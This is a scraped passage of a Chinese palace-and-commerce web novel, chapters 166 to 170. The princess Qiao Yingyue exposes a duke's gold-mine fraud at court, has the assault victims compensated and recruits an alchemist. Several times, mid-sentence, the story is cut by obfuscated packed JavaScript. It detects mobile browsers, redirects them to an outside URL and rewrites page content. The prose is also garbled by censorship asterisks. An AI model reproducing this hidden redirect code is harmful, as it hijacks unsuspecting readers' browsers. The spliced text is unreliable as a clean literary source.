“老朽是凉县人士,家中做些小生意,前些日子和凉县的金矿签下购买金料的契书,如今这契书的期限已到,金料却没瞧见分毫。 老朽身后的众人皆预定了金料,他们和老朽是同样的情况,老朽和大家一起打听到金矿的矿主正是怀宁公主,便一同寻了过来。” 这老人家看着年纪大,可说话却口齿清晰,有条不紊,叫人很快便能听懂发生了什么。 说完这些以后,老人又露出笑意。 “我们并非前来**,只是来问一问公主,这金料何时能到货,便是晚一些我们也能等。 今日我们大家想见公主一面,烦请二位小兄弟帮忙进去通禀一二。” 老人家从衣袖中拿出两块不算轻的银锭子,客客气气的交给这两个侍卫,然而这两个侍卫却冷着脸将银锭子推了回去。 就在老人面色微沉时,其中一个侍卫朗声开了口。 “大家在这儿稍等片刻,我这便进去禀报公主!” 侍卫转身入府。 老人有些意外,又有些意料之中。 第一任矿主卷款跑了,第二任矿主接手后他们去**,人家直接停工。 眼下这第三任矿主接手,他们去**,那管事的老头儿却直接告诉他们矿主的住处,让他们去找正主,别为难他们这些底下人。 老人觉得是这个理儿,便带着大家伙来了盛京,寻到了公主府。 他们**儿的事儿这位公主肯定已经知道,如今他们上门来摆明了是来扯皮,按逻辑来猜测,事情不闹大这位公主不会见他们。 可现在这侍卫竟连贿赂的银子都没收,更没有任何刁难,便进去禀报了。 这明显不合常理。 跟在曾裕堂身后的年轻人们面露紧张。 “祖父,这盛京城内没一个好人,怀宁公主这么反常,莫不是为了让我们放松警惕,然后暗中杀了我们?” “我听说这些达官贵人们表面光鲜,暗地里为了争权夺利什么都做得出来!” “祖父,我们得警惕一些!” …… 听着小辈们七嘴八舌,曾裕堂深以为然的点头。 这时那进去禀报的侍卫前来,他正要询问公主的态度,便见大门内紧接着又走出来一道身影。 是个年纪轻轻的小姑娘,模样美如天仙,周身萦绕着贵族气息,美艳之中的威严浑然天成。 曾裕堂一眼就猜出来这位便是怀宁公主。 怀宁公主竟然亲自出来了,难道真让小辈们说中了,要来**灭口? 眼下**,怀宁公主竟然这么大胆? 曾裕堂老脸紧绷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莲香很快便站在了赵迁儒的面前,将乔楹月的话转述,他对此嗤之以鼻。 “老子就不去,让她别留情!” 莲香愤愤不平的将赵迁儒的话转述,甚至连赵迁儒那欠揍的表情都学了过来。 乔楹月淡淡一笑:“既然他不要脸,本宫便也不必给他留了,去大理寺!” 曾裕堂不相信盛京城内的达官贵人,但这大理寺的廉政名声他听说过,对那儿很信任。 这会儿听到乔楹月要去大理寺,心神便定了几分,他主动起身,带着自己的儿孙们跟着乔楹月的马车,前往大理寺。 大理寺的大堂之中,曾裕堂带着自己的子孙跪在堂中,乔楹月站在曾裕堂身边。 姬刑远面色威严的坐在桌案之后,目光看向大门处。 便见一个胖胖的身影提着衣摆走进来,喘着粗气走到了大堂正中。 此人正是赵迁儒。 他低头扫了一眼地上跪着的那些人,又看向乔楹月,恨意恨不得将她的脸灼穿。 “怀宁公主好得很啊!为了一群来路不明的刁民,竟将堂堂国公告到了大理寺,此举简直是不将我这个国公放在眼里,更不将本国公的姐姐赵皇太后放在眼里!” 乔楹月冷笑:“本宫给过脸面的,是平国公自己不要,本宫只能让姬大人将平国公请来,由大理寺来断这桩案子。” 今日好端端的被传唤到了大理寺,赵迁儒本就一肚子鬼火,又想到这些日子的不痛快全是因为乔楹月,那火便直往脑门窜。 不过是定下金料的一群客商而已,无权无势的老百姓不理睬不就行了,乔楹月非要闹成这样,分明是针对他! 哼,金矿的事儿他根本没有亲自出手,乔楹月没证据证明骗这些人银子的人是他,如今她将他传到大理寺,最终定是她自己拿出银子来赔钱! 姬刑远已经从曾裕堂口中知晓这桩案子的来龙去脉,这会儿赵迁儒这个正主到场,他便开堂审理。 “平国公,曾裕堂联合怀宁公主一同状告,平国公骗走他们的银子,却不给金料,平国公可有话要说?” “哼,本国公没做过这件事儿!”赵迁儒一脸有恃无恐。 姬刑远沉声道:“据本官得到的证据表明,凉县那金矿的第一任矿主是一个孤寡老人,而那孤寡老人是受了佟旺的胁迫,这一点,平国公要如何解释?” 赵迁儒已经和佟旺闹翻,这会儿他直接甩出一句话来。 “那是他的事儿,与本国公何干?难不成只要是和本国公沾亲带故之人犯了错,这责任便要本国公来担不成?姬大人若是这样办案,岂不是叫人笑掉大牙!倒是怀宁公主。” 赵迁儒俩上浮现鄙夷的之色。 “和那佟旺的关系不清不楚,本国公还听闻,佟旺为了怀宁公主一掷千金,耗尽家财,陷入被逼债的窘迫之中,此举实在很难不让人怀疑,怀宁公主和佟旺狼狈为奸,一同坑害凉县的老百姓!” 此言一出,曾氏一族心中的怒火统统被点燃,大家纷纷抬头看向乔楹月,用眼神控诉她给个说法。 赵迁儒见此得意一笑,继续说道: “怀宁公主前一刻还和佟旺打的火热,拿了佟旺的钱财以后就翻脸不认人了,此举简直是将贪财好色过河拆桥演绎得淋漓尽致!” 此言一出,曾氏一族看向乔楹月的目光更加愤怒。 乔楹月冷冷道:“平国公先别忙着栽赃陷害,佟旺已经等候在外,佟旺和平国公到底有没有勾结,等会儿当面对质自会清楚。” 姬刑远当即下令:“将佟旺带进来!” 少顷,佟旺被官差押进来,他膝盖一软跪了下去。 “小人佟旺,拜见大人!” 姬刑远沉声质问:“大胆佟旺!你所犯之罪已经查明,本官给你一个将功赎罪的机会,只要你指认出你背后之人,本官便将你从轻发落!” 佟旺满头大汗,闻言后缓缓抬头看向了赵迁儒,被对方甩了一个警告的眼神。 他又扭头看向站在身侧的乔楹月,眼底的恐慌变成了希冀。 一看见他这蠢表情赵迁儒就恨不得一巴掌将他拍死! 他咬牙提醒佟旺。 “事到如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436667|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还没看清她的真面目吗?!你为何在大理寺?她告的呀!” 佟旺被声怒吼震得回了神,他仔细回想了一遍最近发生的事儿,终于回过味来。 他被一个小姑娘给耍了! 眼下她竟还想让他当面之人自己的姐夫,我呸!想都别想!! “小人要向大人投案!是怀宁公主指使小人犯下了金矿一案!这一切的背后主谋是怀宁公主!” 此言一出,现场一片哗然。 曾氏族人悲愤的盯着乔楹月,恨不得上去撕了她。 唯独曾裕堂面色冷静,他没有对乔楹月投去愤恨的目光,反而盯着佟旺和赵迁儒瞧。 他阅人无数,冷眼旁观了这么久,就是为了看清楚这件事儿的本质,眼下他瞧清楚了,这佟旺和赵迁儒才是一伙。 倘若佟旺当真是金矿一案的同伙,那背后主谋肯定是这肥头大耳的平国公! 曾裕堂都能察觉出其中的古怪,姬刑远自然能察觉到,但他却并未拆穿,他知道乔楹月肯定还有后手。 “对于佟旺的指控,怀宁公主可有什么想说的?” 乔楹月扬声说道:“本宫有佟旺和赵迁儒相互勾结的证据!持有证据的人应该已经到了大理寺。” 佟旺一怔,发现赵迁儒愤恨的目光,他心虚的低下头,心中一百个想不明白。 这证据肯定是从他手中出来的,可他并未向任何人提起过,等等……余湘君! 这个女人这段时间对他态度大变,肯定是和乔楹月暗中联手,一起坑害他! 若她真的得到那些东西,他和赵迁儒都完了! 姬刑远当即下令:“快将这关键之人请进来!” 官差立刻出去,然而一会儿以后官差回来禀报。 “回禀大人,大理寺外并未发现怀宁公主口中所说之人。” 佟旺一听这话提到嗓子眼儿的心缓缓回落,下意识看向赵迁儒。 视线对上的一刻,他从对方眼中看见一闪的杀气,顿时明白了过来。 是赵迁儒提前出手杀了余湘君这个害人精! 第一百六十六章开始清算 余湘君一死,佟旺和赵迁儒便没有任何威胁了。 佟旺忽然放松下来,朝着乔楹月冷哼。 “怀宁公主真是无情啊,前些日子和在下耳鬓厮磨,如今却寻人陷害在下,哼,在下知道,怀宁公主是担心在下要回那些财物。 原本在下念着旧情确实不打算要的,但如今怀宁公主的无情无义叫在下寒了心。 既然现在到了大理寺,那在下便也告怀宁公主一状!” 佟旺朝着姬刑远深深一拜,义愤填膺的指控道:“怀宁公主对小人使用美人计,小人中计之下亲手送出了所有钱财,此种行为和骗财无异,小人恳请姬大人做主,责令怀宁公主返还钱财!还天下一个公道!” 利益一致时便是朋友。 这会儿赵迁儒也摒弃前嫌,开始帮着自己的小舅子说话。 “这些事儿本国公能帮他做主!若本国公的话不够分量,姬大人可将永发钱庄的掌柜寻来。 佟旺受到怀宁公主的迷惑以后,便是在这个钱庄借下一大笔银子,这些银子全都用来给怀宁公主买奢侈之物!” 姬刑远面色严肃的问乔楹月:“此事可属实?” 乔楹月一脸无辜的道:“本宫并不知晓此事。” 简直是睁着眼睛说瞎话! 佟旺怒道:“在下实在没想到怀宁公主生得花容月貌,却是个满口谎言之人,先前当真是在下瞎了眼,竟然被这幅美丽的皮囊迷惑!” 赵迁儒悲愤的超姬刑远控诉:“姬大人,如今怀宁公主坑害佟旺,坑害凉县一干百姓的事儿已是证据确凿,无需再审。 本国公恳请姬大人当堂处决怀宁公主!” 这次不等姬刑远说话,乔楹月便冷幽幽的开了口。 “哦,忘了告诉平国公,那证物早就进了本宫的手。” 赵迁儒瞳孔一缩。 证物竟在乔楹月手中? 若当真如此,他们岂不是死定了……不可能,她若有证据岂会拖到现在,此话肯定是陷阱。 哼,想用激将法让他露出破绽,乔楹月还太嫩了。 那就看看谁的手段硬一些! 赵迁儒一脸义愤填膺,“一会儿说证据在这里,一会儿又说证据在那里,怀宁公主简直将众人当猴耍! 本国公并非那不讲理之人,既然怀宁公主有证据,那便当场拿出来!” 赵迁儒等着看乔楹月的笑话,然而他没想到自己话音刚落,她竟真的从衣袖中拿出一沓信。 最上面的一封上写着四个字——佟旺亲启。 他认得出,那四个字是他的。 这些信……全是他和佟旺为了敛财而商量时所写。 赵迁儒猛地看向佟旺,恨不得将他打死。 那上头有他的私章,便是抵赖伪造都抵赖不了! 乔楹月这个小**,明明有证据在手,却反复戏耍他,简直不把他当人看! 说到底,都是佟旺这东西不成器,让他丢尽了脸面! “佟旺!你这个混账!你简直成事不足败事有余!老子杀了你!” 信才刚送到姬刑远的手中,赵迁儒就情绪失控的扑打起了佟旺。 这幅样子都不需要审了,赵迁儒的态度已经认下了一切。 但姬刑远身为大理寺卿还是仔仔细细检查了这些信件,确认并非伪造后他又细细确认赵迁儒的罪状。 这一看不打紧,看完后勃然大怒。 抬眼看见赵迁儒和佟旺打了个头破血流,他肃声让人将两人分开,当场宣判。 “平国公这些年为了敛财不断搜刮民脂民膏!金矿案子更是小巫见大巫!本官要收押平国公,待到核实了这一桩桩案件以后,再另行定罪!” 官差当即带走了赵迁儒。 至于佟旺,姬刑远也有判决。 “佟旺,你和平国公狼狈为奸,视人命如草芥,待到一切查明,本官另行定罪!” 佟旺连‘冤枉’二字都没来得及喊出来,就被两个官差给叉了出去。 最后,姬刑远的目光放在了曾裕堂身上。 “曾裕堂,你和你的族人在赵迁儒手中购买金料的事儿属实,即日起,你们只要将购买金料的契书叫到本官手中,待到赵迁儒被判刑之时,本官定会将你们的银子还给你们。” 曾裕堂没想到到达盛京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436668|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的第一天,这件悬在心头的大事儿便有了结果。 他立刻带着族人磕头谢恩。 谢完了姬刑远,他不往感谢乔楹月。 “今日草民对怀宁公主多有得罪,怀宁公主不仅没有与草民一般见识,还帮着草民找到平国公,解决了草民的案子。 今日草民必须磕头谢过公主的大恩!” 曾裕堂重重的磕头谢恩。 乔楹月赶紧让老人起身。 然而还没等她说话,那曾氏一族全都朝她磕头,那沉重的磕头声,仿佛将地面都撞得震动起来。 乔楹月扬声说道:“你们的心意本宫感受到了,大家快些起来!” 曾裕堂抹着眼泪,带着曾氏一族退下去。 他们的契书还要上交大理寺,有一番手续要做,这会儿下去自会有人安顿他们。 姬刑远看见乔楹月还站在堂上,猜到她还有事儿没办完,便沉声问道:“怀宁公主还有何事,大可说来。” 乔楹月叹了一声,表情有些感触。 “本宫还要告佟旺,他强抢民女,残害百姓,那些受害人眼下就在了大理寺外,请大人将她们请进来。” 姬刑远瞧见乔楹月的眼底隐有泪光,心中好奇,到底是什么案子,竟让她这般动情。 当即派人将受害人请进来。 只见大门口走进来一道道瘦弱的身影,这些人全是女子,她们面带泪水,神色凄苦而悲恸。 到了堂中便跪下,纷纷朝姬刑远行礼。 “民妇余湘君,要状告佟旺,他逼**民妇的丈夫,强占了民妇!” “民妇魏白灵,也要状告佟旺!他逼得民妇父母重病缠身,还强行占有民妇!” “民妇苏六娘……” 放眼一数,状告佟旺的女子共有十八个,所有人状告罪名一致。 佟旺强占民妇,逼得无辜百姓家破人亡! 姬刑远瞧见这些可怜的女子无助落泪的样子,顿感自己这个父母官重大失职。 “这些事儿就发生在本官眼皮子底下,本官却半点不知,本官有责任! 来人,将佟旺再带上来!” 第一百六十七章是连环计 刚刚被带下去,这会儿又被带了上来。 佟旺心中一喜,一进来就朝着乔楹月献殷勤。 “在下就知道公主对在下余情未了,不会忍心看着在下落难而不管,公主放心,在下此生对公主忠贞不二,定会伺候好公主!” 然而他话音落下却发现乔楹月连眼角风都没给他一个,仿佛他只是空气,根本不屑于理睬他。 这种轻蔑比任何言语的辱骂更叫人愤怒。 佟旺气怒难消,正要吐出污秽之人,脸上就挨了一个巴掌。 他扭头一瞧,打他的竟然是余湘君。 这个小蹄子在他身下时无尽讨好,现在竟敢打他,简直反了天了! “混账东西,老子……” “**!” 余湘君连着三个嘴巴抽上去,将他抽得东南西北都摸不着了。 佟旺咬牙爬起来,想要暴打余湘君,那些女人忽然一拥而上,对着他拳打脚踢。 这些女人一边打一边骂: “怀宁公主是我们的恩人,我不允许你有半分玷污她!你看怀宁公主一眼,都是莫大的玷污!!我打死你!” “我的父母因你身患重病,我今日非要为他们报仇!” “我的丈夫被你逼死,我也因你身败名裂,我要你死啊!!!” …… 这些女人没什么招式,是哪儿薄弱打哪儿。 佟旺被打的毫无还手之力,只能祈求姬刑远。 “大人,这些**公然在公堂之上行凶,大人快些处决这些女人啊!” 然而姬刑远却像是看不见,任由他被这些女人打,直到估摸着这人快要不行了,这才开口。 “好了!公堂之上不许放肆!” 余湘君当先撤开,其余的女人也跟着离开。 佟旺趴在地上起不来,被官差踹了一脚。 “跪好!” 他惨叫着爬起来,强忍着虚弱跪下。 姬刑远冷声宣判。 “佟旺强抢民女,草芥人命,罪不可恕!先打三十大板,收入监牢,待到平国公的案子了结后发落! 来人,将**佟旺带下去!” 官差立刻上前,在此叉走佟旺。 这会儿的佟旺已经只有半条命了,那三十大板下去直接得被打成活**。 关键他还死不了,还要拖着一条残命等到赵迁儒的案子落地,他才能得个痛快。 这厢。 佟旺定罪,这些女人们欢喜的走出大理寺。 乔楹月看着那些柔弱的身影走入阳光之下,她们抱在一起欢呼哭泣,鼻子忍不住发酸。 这个世道,女人太容易被欺负,也太容易被忽视。 她必须有足够的能力,才能改变这一切。 乔楹月走上前去,对大家说道。 “佟旺的钱财全在本宫这儿,你们受他**,那本宫便将他的钱财分给你们,希望你们用这些钱财好好生活下去。” 余湘君震惊无比,她用力摇头:“公主已经帮我们许多,我们不能再拿这些钱财了!” 其余人也纷纷推辞。 乔楹月由衷的对这些女人说道:“女子本就弱势,你们受了这些苦难,会比寻常的女子的路更难走,钱财虽然轻贱,但它能让你们的路好走一些。 这些银子本就是佟旺敛财得来,即便你们不要,本宫也会将它捐入国库之中。” 眼见这些女人又要说话,她直接抬手让大家噤声。 “本宫觉得,你们比国库更需要这笔银子,本宫也希望,你们能靠着这些银子坚强起来,成为一个,可以主宰自己的强大之人。” 在场的女人听不懂这番话的含义,但这话中的诚恳她们能感受得到。 她们知道怀宁公主是为了她们着想,于是不在推脱,纷纷跪下来谢恩。 乔楹月让这些人起身,让她们先回家,那些银子她会派人送到府上去。 女人们转身离开,唯有余湘君留在原地,她流着泪在此跪下,哭得不成样子。 乔楹月知道她想感谢什么。 今日赵迁儒派人截杀余湘君,被她安排的暗卫发现,赵迁儒的人被暗卫控制,余湘君因此获救。 余湘君是要感谢她的救命之恩。 “本宫知道你的心意,只要你能好好活着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436669|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是对本宫的感谢。” 余湘君抹掉眼泪,抬头看着乔楹月的眼睛,坚定的说道:“民妇一定会活成让男人都敬畏的样子!” 乔楹月欣慰的笑了。 姬刑远办事儿极快,才两日的时间,便核实了赵迁儒的所有罪名,他不畏强权不**赂,判赵迁儒抄家流放。 据说判决下来时,永寿宫的赵皇太后差点被气昏过去。 乔景琰顾念她老人家,亲自前去慰问,却根本不接赦免赵迁儒的话茬。 曾氏一族被骗的银子便是从这些查抄的钱财之中还回的,剩下的还给了别的受害人。 此举一出,百姓对怀宁公主的赞颂立刻转移到皇帝身上,民间甚至出了民谣来赞扬乔景琰的廉政爱民。 佟旺被即刻斩首,至于他的府宅,早就被永发钱庄收走了,根本没有东西让朝廷查抄。 乔楹月将佟旺送来的东西折成银子,分给了那些被他伤害过的女人。 至于那个栀子花的印章,她留了下来,从手中拿了同等的银子出来。 金矿那边干的红红火火,一切都在朝着好的方向发展。 权府。 “看来这位怀宁公主是早就看出我们的小心思,却兵行险招,打了个漂亮的翻身仗,怀宁公主并非普通女子!” 小厅之中,权世衡得知今日发生的一切以后,由衷的赞叹。 权晏舟的眼底更是止不住的仰慕。 他喜欢强大的女子,而怀宁公主正是他心中所想的女子! 不过…… “怀宁公主算得到头,却算不到尾,金矿顺利开工,看似是她赢了,实则最大的赢家还是我们。” 听到儿子的话后,权世衡笑着点头,随后叮嘱权世衡:“她好歹是公主,不能将人逼急了,到时候该松还是要松,得给人家留些面子。” 权晏舟点头应下,可他心中想法却完全相反。 他不可能松。 他要乔楹月在自己的面前服软,他要她对他仰慕。 这个连环计乔楹月注定破不了。 要不了多久,乔楹月便会主动上门来,放下身段来求他! 第一百六十八章寻炼金师 不过权世衡的脸色很快又沉了下去。 “那批金料本该卖出更高的价钱,便是因为听了你的计谋,便用最低的价格卖给了怀宁公主,对于商人而言,赚少了就是亏了。” 权晏舟脸上的笑意消失。 父亲的话不假,这批金料原本是引鱼儿上钩的饵料,可鱼儿吃了饵料却连钩都没碰一下。 实在有些让人气闷。 不过不要紧,后面的计谋,她跑不掉。 没两日,在权家购买的金料到达盛京。 乔楹月亲自检查,这批金料果真如权晏舟所说,纯度更高,那样的价格买回来,是她捡了便宜。 若非权晏舟想要算计她,她根本没办法用这么低的价格买回来。 有了这批金料,两家金铺可以很长时间不进金料了。 届时她的金矿肯定已经提炼出来,便可以用自己的黄金,不仅成本能降到最低,还更有和其他金铺竞争的优势。 便在乔楹月琢磨金矿提炼时,这金矿提炼的事儿便被何掌柜一纸书信递到了眼前。 乔楹月看完信后深深蹙了眉。 如今已经挖出了许多金矿,何掌柜按照权晏舟所说,将金矿送到他的提炼工坊进行提纯。 可那工坊的管事人却说提炼需要交银子。 交银子也算天经地义,毕竟是用了别人的工坊。 可何掌柜按照那管事提出的银子算了一笔账,发现若是给了这笔银子,那么这金矿他们几乎挣不到银子。 等于是自己辛辛苦苦一场,为他人做了嫁衣。 看来这权晏舟是一开始就算计好,无论金矿成不成,都要从她身上挣银子。 这对父子是将生意人的狡诈体现的淋漓尽致。 乔楹月压着火气放下信件,思考应对之策。 倒是可以将这对父子杀了,可杀了之后呢,权世衡绝对有自己的势力,一旦他的实力反扑,她将会陷入囫囵之地,这重生后刚好起来的局面便会功亏一篑。 而且**不是她的目的,挣钱才是。 商人多是权世衡这种人,若见一个杀一个,怕是要将这天下人杀光。 若想在经商上走远,她不该去**,而是学会驭人。 这对父子是欺负她年纪小。 只要她这次能够在这件事儿上让他们折服,将来他们自会有大把的生意找她做。 所以,她必须靠自己解决眼前的麻烦。 念及此,乔楹月的心情好了起来。 遇到麻烦,解决麻烦,一步步走向自己所想的高处,这样的人生才有趣! 乔楹月立刻写信给何掌柜,让他带着金矿打道回府。 在何掌柜打道回府的第二天,权晏舟便得到了这个消息,彼时他正得意洋洋的在府中等着乔楹月来见自己。 当听到手下禀报何掌柜带着金矿离开以后,他惊讶的站了起来,不敢置信的问这手下。 “你确定消息没错?” 手下认真点头:“属下确定这消息没有半分虚假!” 这一下权晏舟有些懵了。 大周只有他才有提炼黄金的工坊,乔楹月若不找他帮忙,那金矿就永远变不成黄金。 客商定的是纯度极高的金料,她若在规定期限内送不了货,那些违约金都要赔死她。 她不可能让自己赔死,那她到底是怎么想的? 欲擒故纵? 苦肉计? 等着自己心疼,主动去帮忙? 倒也不是不可以。 可是就这样过去实在有些不甘心啊。 罢了,等到她和客商送货的期限快到时,他用自己的金料存货帮她送去,她肯定会感激他。 她会不会感动的亲他一口? 想到此,权晏舟脸上露出痴痴的笑容。 那手下眼睁睁看着自家公子,从满脸疑惑,变成满脸痴笑,禁不住发问:“公子是不是中邪了?” “滚。” …… 当天,乔楹月让林酒出门贴告示,重金悬赏会炼金的能人异士,月例高昂,还有丰厚的赏金。 上面所写的赏金太丰厚,才一会儿的功夫公主府便排上了长长的队伍。 乔楹月不懂炼金术,但她知道如何验查黄金的纯度,于是她拿出金矿,让这些人当场提纯。 然而一天下来,全都是想 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广阔便当众开始炼金,金矿在她的眼前变成金块。 乔楹月查验时发现,这金块竟比市面上的纯许多,甚至比权晏舟这一次卖给她的还要纯一些! 若是将这样厉害的炼金师纳入囊中,她的金料将碾压权家! 乔楹月的内心有些激动,抬头问广阔:“你可愿做本宫的炼金师?” 广阔点头:“小人愿意。” 乔楹月立刻命人拿来应聘的契书,广阔也爽快,毫不犹豫的签下了。 最后,乔楹月向广阔交代,明日清晨便离京去凉县。 何掌柜已经准备好工坊,只等炼金师就位! 然而到了第二天,这广阔却出尔反尔,宁愿被乔楹月处罚,也不肯去凉县了。 乔楹月让人带来广阔,直截了当的说:“月例本宫可以加,每个月还有赏金,如果你觉得不够,可以提一个具体的数。” 广阔却红着眼摇头:“并非银子的原因,而是……” 第一百六十九章死契活契 听完了广阔的诉说,乔楹月竟然松了一口气。 她生怕是什么比银子还要棘手的事儿。 原来是为了一个人。 广阔有个红颜知己,在梦影阁中讨生活,说来也巧,他的红颜知己正是令高崧痴迷的如画姑娘。 广阔和如画是青梅竹马,如画最开始有门当户对的未婚夫,却因为家道中落,这婚事黄了不说,如画也被迫进入梦影阁,靠取悦男人过活。 广阔原先是权家的炼金师,听说如画的遭遇以后,便离开权家来到了盛京,住在北城,远远守护自己的小青梅。 眼看着小青梅从寂寂无名的小妓子,变成了梦影阁的招牌,他觉得如画已经不需要自己的保护,便打算去凉县继续做他的炼金师。 昨晚,当广阔将自己的打算告诉如画以后,如画竟当场失去了活下去的希望。 如画本想跟着广阔一起离开,无奈她在梦影阁签的是死契,只要她敢迈出梦影阁一步,便会被梦影阁的刺客暗杀。 广阔舍不下小青梅,便背弃乔楹月,打算继续留在盛京。 听完了来龙去脉,乔楹月反而觉得广阔是个可靠之人,用这样的人她放心。 至于他那签了死契的小青梅,这世上就没有什么是银子办不到的。 大不了她多花些银子将人赎出来,这比银子肯定比赔偿金少得多。 “本宫帮你赎回你的小青梅,你便带着她一同去凉县,将来便能朝夕相处,成为神仙眷侣。” 广阔听见此言感动的红了眼眶,却轻轻摇头。 “如画签的是死契,公主赎不回来的。” 乔楹月当场撂下话:“最多三日,你等着便是。” 广阔眼中有了希望,感激得不知道说什么好,干脆跪下来朝着她磕了三个响头。 广阔离开以后,乔楹月仔细琢磨梦影阁。 那神秘人便是梦影阁的管事,梦影阁管事众多,但最终做主的还是阁主。 此番帮广阔赎回他的小青梅,正好打探一下神秘人在梦影阁的权利。 赎回小青梅需要和那位神秘的阁主谈,但阁主的身份成谜,神秘人只是个小管事都让她难以查到,这阁主怕是更难查到。 先让林酒去查一查,实在不行,便用如画做诱饵,定能见到阁主。 乔楹月吩咐林酒查梦影阁的阁主,让她感到惊讶的是,这阁主的身份竟然很快便查了出来。 “阁主名叫连文青,如今住在南城,他每日都会去梦影阁。” 不仅能查到名字,还能知道住处,他是堂堂阁主,都能被查这么清楚,为何那一个不如他的管事却深藏不露。 那就只能证明,那神秘人绝对不仅仅只是个管事那么简单! 神秘人的身份绝对比阁主还要高,那就只能是……金樽居的老板。 这一点其实早就想到了,只是如今被证实了而已。 乔楹月缓缓笑了。 金樽居是盛京城的销金窟,想要将生意做的这么大必须在朝中有人。 依照神秘人的手段,他不仅是金樽居的老板,还是朝中的重臣。 上次见过容秉徽,此人的言行不像神秘人,看来神秘人另有其人。 这些事儿在脑中闪过后被压下,乔楹月吩咐林酒。 “可能见他?” 林酒点头:“见他并不难,属下随时可以帮公主递消息。” 乔楹月点头:“本宫今晚便要见他。” 林酒应下,当即去办。 天色黑下来以后,公主府的马车缓缓停在金樽居。 乔楹月坐着轿子前往梦影阁,在一间雅间见到了连文青。 三十多岁的中年男人,穿着文雅,模样清瘦,一点儿也没有这个年纪的男人的油腻。 看见她进来,连文青立即起身行礼。 “在下拜见公主。” “免礼。” 乔楹月在他对面坐下,笑着与他寒暄几句,随后话锋转到了如画的身上。 “本宫十分喜欢如画姑娘,今日前来是想为她赎身。” 连文青很是意外:“没听说公主对女子也有怜爱之心?” 是误会她**大发,对女人也不放过了。 乔楹月气笑:“本宫的名声就这么不好?本宫对如画姑娘就不能是女子的惺惺相惜吗?” 连文青尴尬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451096|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近盛京城内对这位怀宁公主的传言确实好转了,可从前的名声太深入人心,到如今只要想起这位公主,他第一个印象竟然是水性杨花…… 看来谣言真的不能信,怀宁公主虽然性格比较沉稳,但眉眼却还十分青涩,一双眼睛清澈明亮,拥有这样一双眼睛的人,不可能生得那么多龌龊心思。 但—— “不是在下为难,如画姑娘签的是死契,在下不能允她赎身。” “连阁主可以开个价。” “这是梦影阁的规矩,恕在下得罪。” 乔楹月想了想才开口。 “可是阁主无法做主?或者是,阁主做主了会收到什么惩罚?” 连文青沉默了一会儿,方低声说道:“在下有决定权,但在下若是让签了死契的姑娘离开,在下的身契便会变成死契。 也就是说,这个地方是一命换一命。” 若是这个规矩,那还真是棘手。 可梦影阁的目的是挣钱,挣钱的地方所有的人或物,都应该能被金钱衡量。 除非这金樽居的老板内心扭曲,他不单单要挣钱,还要绝对控制这里每一个人。 连文青看着乔楹月为难的面色,想了想,忽然说道:“若是公主能帮在下一个忙,在下愿意让如画赎身。” 乔楹月抬眼看着他。 连文青的眼中露出复杂之色,像苦涩,又像甜蜜。 “若怀宁公主能救活在下的夫人,在下便让如画姑娘赎身。” “你的夫人是病了?” “她昏迷了许多年,在下很爱她。” 这一刻,乔楹月从这个男人的身上看见了浓浓的感情,她很动容,低声问道: “可到时候你的身契变成了死契,连这梦影阁都离不开,你与她也难成眷属。” 便见连文青微微一笑:“没事,她不爱我,她醒来以后,自会去寻找她的心上人。” 乔楹月的内心狠狠牵动。 广阔。 连文青。 他们都是至情至性的男子。 她低声道:“择日不如撞日,本宫今晚便带着大夫去府上为连夫人看诊。” 第一百七十章进拍卖行 南城的宅子中。 位于正院的内室里头,床榻上躺着一个面白如玉的女子,这女子看起来不算年轻,但却依旧美丽。 女子的双眼紧闭着,有些瘦。 